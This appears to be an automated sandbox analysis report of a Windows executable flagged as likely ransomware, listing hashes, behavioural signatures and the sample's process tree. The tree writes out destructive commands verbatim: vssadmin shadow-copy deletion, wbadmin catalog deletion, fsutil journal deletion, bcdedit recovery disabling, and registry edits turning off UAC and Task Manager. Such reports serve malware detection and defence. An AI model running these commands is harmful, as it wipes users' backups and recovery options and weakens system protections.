Analysis

  • max time kernel
    145s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    10-11-2022 07:43

General

  • Target

    abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe

  • Size

    1.1MB

  • MD5

    ad539ebdf9e34e02be487134cf9a6713

  • SHA1

    b5af8a12c5a6ed369debaad7eab59e3cb1715e2d

  • SHA256

    abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14

  • SHA512

    386291d7dd9fa62f7514e784a238bd7a5099a0d2edd8af6085c61e3953a6914faf3dc299f07d56bed3b5b337a18c8b636c84f88693d3bc2512f8dfd51e711492

  • SSDEEP

    24576:g3BzKGHF0bxTCFvXwKt/aISpu4Qc6F3v1HT2BzN2tgGS3YzYhoHWxVGI8WIQbQ:KV4xTCwu4Qc6/F87gIwQ

Score
10/10

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Enumerates connected drives 3 TTPs 9 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 9 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe
    "C:\Users\Admin\AppData\Local\Temp\abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:240
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c @echo off
        2⤵
          PID:1916
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c chcp 437
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Windows\SysWOW64\chcp.com
            chcp 437
            3⤵
              PID:1756
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
            2⤵
              PID:1988
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
              2⤵
                PID:956
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} recoveryenabled No
                  3⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1964
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                2⤵
                  PID:1724
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Delete Shadows /all /quiet
                    3⤵
                    • Interacts with shadow copies
                    PID:1244
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                  2⤵
                    PID:2032
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                      3⤵
                      • Interacts with shadow copies
                      PID:552
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                    2⤵
                      PID:768
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                        3⤵
                        • Interacts with shadow copies
                        PID:1404
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                      2⤵
                        PID:1012
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                          3⤵
                          • Enumerates connected drives
                          • Interacts with shadow copies
                          PID:2044
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                        2⤵
                          PID:832
                          • C:\Windows\system32\fsutil.exe
                            fsutil.exe usn deletejournal /D C:
                            3⤵
                            • Deletes NTFS Change Journal
                            PID:1992
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                          2⤵
                            PID:852
                            • C:\Windows\system32\vssadmin.exe
                              vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                              3⤵
                              • Interacts with shadow copies
                              PID:108
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                            2⤵
                              PID:1868
                              • C:\Windows\system32\bcdedit.exe
                                bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                3⤵
                                • Modifies boot configuration data using bcdedit
                                PID:1608
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                              2⤵
                                PID:1068
                                • C:\Windows\system32\vssadmin.exe
                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                  3⤵
                                  • Enumerates connected drives
                                  • Interacts with shadow copies
                                  PID:1988
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                2⤵
                                  PID:316
                                  • C:\Windows\system32\wbadmin.exe
                                    wbadmin.exe delete catalog -quiet
                                    3⤵
                                    • Deletes backup catalog
                                    PID:1620
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                  2⤵
                                    PID:1200
                                    • C:\Windows\system32\vssadmin.exe
                                      vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                      3⤵
                                      • Interacts with shadow copies
                                      PID:1496
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                    2⤵
                                      PID:1588
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                        3⤵
                                          PID:2244
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                                        2⤵
                                          PID:1676
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                          2⤵
                                            PID:1732
                                            • C:\Windows\system32\vssadmin.exe
                                              vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                              3⤵
                                              • Interacts with shadow copies
                                              PID:2092
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                            2⤵
                                              PID:1916
                                              • C:\Windows\system32\vssadmin.exe
                                                vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                                3⤵
                                                • Interacts with shadow copies
                                                PID:2232
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:1104
                                                • C:\Windows\system32\reg.exe
                                                  reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
                                                  3⤵
                                                    PID:2216
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                                  2⤵
                                                    PID:1292
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                    2⤵
                                                      PID:1652
                                                      • C:\Windows\system32\reg.exe
                                                        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                        3⤵
                                                          PID:2168
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                                        2⤵
                                                          PID:800
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1064
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:268
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
                                                              2⤵
                                                                PID:1964
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=unbounded
                                                                2⤵
                                                                  PID:2128
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:580
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=J:\ /on=J:\ /maxsize=401MB
                                                                    2⤵
                                                                      PID:1896
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:2200
                                                                    • C:\Windows\system32\vssvc.exe
                                                                      C:\Windows\system32\vssvc.exe
                                                                      1⤵
                                                                        PID:2120

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/1620-93-0x000007FEFBA01000-0x000007FEFBA03000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1908-54-0x00000000753C1000-0x00000000753C3000-memory.dmp

                                                                        Filesize

                                                                        8KB